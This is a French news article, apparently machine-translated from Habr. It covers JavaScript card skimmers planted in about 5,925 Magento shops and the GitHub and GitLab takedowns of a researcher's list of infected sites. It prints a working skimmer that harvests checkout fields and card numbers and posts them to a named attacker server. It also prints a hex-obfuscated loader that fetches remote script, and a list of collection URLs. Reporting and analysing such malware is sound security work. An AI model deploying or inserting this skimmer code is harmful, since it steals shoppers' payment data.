Github a supprimé la liste des 5925 boutiques en ligne avec des skimmers JS installés



L'écrémage en ligne est une forme relativement nouvelle de fraude par carte de crédit. L'essence est claire d'après le nom. Si un skimmer ordinaire est une superposition sur un lecteur de carte ATM qui vide une bande magnétique, alors un skimmer en ligne est un signet logiciel sur un serveur de boutique en ligne qui intercepte passivement les données de paiement lorsqu'elles sont entrées par un utilisateur dans des champs de texte dans un navigateur. À ce jour, les cardeurs se sont concentrés principalement sur les serveurs de transactions où le cryptage est utilisé, mais dans ce cas, les informations sont supprimées avant même le cryptage. Ensuite, les informations sur les cartes de paiement sont vendues sur des forums clandestins: généralement, un étranger peut effectuer des paiements en utilisant ces cartes.

Les spécialistes de la sécurité de Nightly Secure disentque l'écrémage en ligne gagne rapidement en popularité récemment. Pour la première fois, la propagation d'une telle fraude a été discutée en 2015 . En novembre 2015, sur la liste des 255 000 magasins en ligne, 3 501 magasins avec des signets JS sur le serveur ont été trouvés. Sur l'année, leur nombre a augmenté de 69%.

Un exemple de signet javascript pour intercepter les données de paiement ressemble à ceci (dans ce cas, les informations sont envoyées à http://ownsafety.org/opp.php):

<script>// <![CDATA[
// whitespace added for readability --wdg
    function j(e) {
        var t = "; " + document.cookie,
            o = t.split("; " + e + "=");
        return 2 == o.length ? o.pop().split(";").shift() : void 0
    }
    j("SESSIID") || (document.cookie = "SESSIID=" + (new Date).getTime()), jQuery(function(e) {
        e("button").on("click", function() {
            var t = "",
                o = "post",
                n = window.location;
            if (new RegExp("onepage|checkout").test(n)) {
                for (var c = document.querySelectorAll("input, select, textarea, checkbox"), i = 0; i < c.length; i++) if (c[i].value.length > 0) {
                        var a = c[i].name;
                        "" == a && (a = i), t += a + "=" + c[i].value + "&"
                    }
                if (t) {
                    var l = new RegExp("[0-9]{13,16}"),
                        u = new XMLHttpRequest;
                    u.open(o, e("
 
<div />").html("http://ownsafety.org/opp.php").text(), !0), u.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), u.send(t + "&asd=" + (l.test(t.replace(/s/g, "")) ? 1 : 0) + "&utmp=" + n + "&cookie=" + j("SESSIID")), console.clear()
                }
            }
        })
    });
// ]]></script>

L'année dernière, les chercheurs ont compilé une liste d'adresses couramment utilisées pour la collecte de données:

1860 https://ownsafety.org/opp.php
 390 http://ownsafety.org/opp.php
 309 https://useagleslogistics.com/gates/jquery.php
 100 https://redwiggler.org/wp-content/themes/jquerys.php
  70 https://clickvisits.biz/xrc.php
  28 https://gamula.eu/jquery.php
  23 https://gamula.ru/order.php
  22 https://news-daily.me/gt/
  20 https://antaras.xyz/jquery.php
  17 https://clicksale.xyz/xrc.php
  10 https://ausfunken.com/service/css.php
   9 http://www.dobell.com/var/extendware/system/licenses/encoder/mage_ajax.php
   5 https://redwiggler.org/wp-content/themes/jquery.php
   1 /js/index.php
   1 /js/am/extensions/sitemap_api.php 
   1 https://infopromo.biz/lib/jquery.php
   1 https://google-adwords-website.biz/gates/jquery.php
   1 https://bandagesplus.com/order.php
   1 http://nearart.com/order.php
   1 http://happysocks.in/jquery.pl

Dans presque tous les cas, de petites versions du même code sont utilisées.

Ce signet est assez difficile à détecter sur le serveur. Le code est téléchargé à partir du CMS et fonctionne dans le navigateur. L'année dernière, elle a travaillé sur les trois mille cinq cent mille sites mentionnés pendant plusieurs mois, sur de nombreux - six mois ou plus.

Les experts estiment qu'un grand nombre de serveurs infectés indiquent un degré élevé d'automatisation de l'attaque. Ce ne sont pas certains kiddies qui font cela, mais de bons professionnels. Probablement de Russie.

Pour implémenter des signets, des vulnérabilités dans le logiciel des boutiques en ligne sont utilisées. Tout d'abord, c'est un logiciel vulnérable de Magento Commerce. C'est grâce à lui qu'il est plus facile d'implémenter le code CMS, bien qu'en fait ce code puisse fonctionner dans n'importe quelle boutique en ligne qui n'utilise pas nécessairement Magento. Consultez la boutique en ligne pour les vulnérabilités sur le site MageReports.com .

Bien que le problème ait été soulevé il y a un an, au cours de l'année écoulée, il n'a pas disparu. Pire encore, les boutiques en ligne infectées sont devenues une fois et demie plus nombreuses. En mars 2016, le nombre de magasins avec skimmers est passé de 3501 à 4476, et en septembre 2016 à 5925.

Les gars de Nightly Secure ont publié une liste de tous les magasins infectés afin d'avertir les clients - et d'informer les administrateurs de ces magasins de la vulnérabilité. En effet, parmi eux se trouvaient des sites assez populaires, notamment des départements de constructeurs automobiles (Audi ZA), des organisations gouvernementales (NRSC, Malaisie), des sites de musiciens populaires (Bjork) et des organisations à but non lucratif (Science Museum, Washington Cathedral).

S'il y a un an, dans presque tous les magasins, de petites modifications du même skimmer en ligne ont été utilisées, les chercheurs ont déjà trouvé 9 variétés distinctes du script appartenant à 3 familles différentes ( exemple de code sur Github ).

Les attaquants sont devenus plus intelligents et utilisent désormais l'obscurcissement de code à plusieurs niveaux, ce qui n'est pas si facile à analyser. Par exemple, un script peut être masqué comme ceci:



Code de malware réel:

<script language="javascript">window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]('\x3c\x73\x63\x72'+'\x69\x70\x74 \x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22 \x73\x72\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x69\x70\x2e\x35\x75\x75\x38\x2e\x63\x6f\x6d\x2f\x69\x70\x2f\x69\x70\x5f'+'\x34\x30\x37\x39\x2e\x6a\x73\x22\x3e\x3c\x2f\x73\x63\x72'+'\x69\x70\x74\x3e');//4079</script>

Les auteurs ont également amélioré le mécanisme d'interception des données des cartes de paiement. Si auparavant, le logiciel malveillant avait simplement intercepté des pages avec une chaîne checkoutdans l'URL, il reconnaît maintenant déjà les plug-ins de paiement populaires Firecheckout, Onestepcheckout et Paypal.

Des spécialistes de Nightly Secure ont tenté de contacter un certain nombre de magasins (environ 30) et de les informer de l'écumoire installée, mais ils n'ont pas reçu de réponse de la plupart des magasins, tandis que d'autres ont fait preuve d'une surprenante nonchalance. L'un a dit que ce n'était pas son problème, car les paiements étaient traités par une société tierce. Le second a dit que c'était juste une erreur Javascript qui n'était pas une menace. Le troisième a déclaré qu'il ne pouvait y avoir de danger, car "le magasin fonctionne sur HTTPS". L'auteur a soumis à Google une liste de magasins skimmer pour avoir mis la liste de navigation sécurisée dans Chrome sur liste noire.

Une liste de tous les magasins de skimmer a été initialement publiée sur Github . Et ici, le plaisir a commencé. Bientôt github sans avertissementretiré de son site la publication des résultats de recherche des boutiques en ligne .

Apparemment, Github a censuré selon la procédure standard, après avoir reçu une demande DMCA de l'un des magasins. Bien sûr, le magasin est désagréable lorsqu'ils trouvent de la vulnérabilité et le disent au monde entier.

Hier, l'auteur a transféré les résultats d'une étude de sécurité sur une boutique en ligne à l'hébergement Gitlab . Aujourd'hui, une page à cette adresse renvoie l'erreur 404. Il y a quelques heures, l'auteur a reçu un e-mail de Gitlab expliquant les raisons de la suppression. Selon l'administration, la publication d'une liste de magasins vulnérables est considérée comme un «cas flagrant» qui ne peut être résolu. Par conséquent, la liste a été supprimée (UPD: accès restauré, Le directeur de Gitlab s'est excusé).

Copie de la liste dans l'archive Web
Copier dans Pastebin

Notez que la liste des magasins avec skimmers en ligne installés répertorie 44 domaines dans la zone .RU.

Espérons que les administrateurs de ces magasins installeront rapidement la version Magento avec les derniers correctifs et compenseront les pertes des clients qui ont des copies de cartes de paiement divulguées sur le marché noir.

Source: https://habr.com/ru/post/fr398279/


All Articles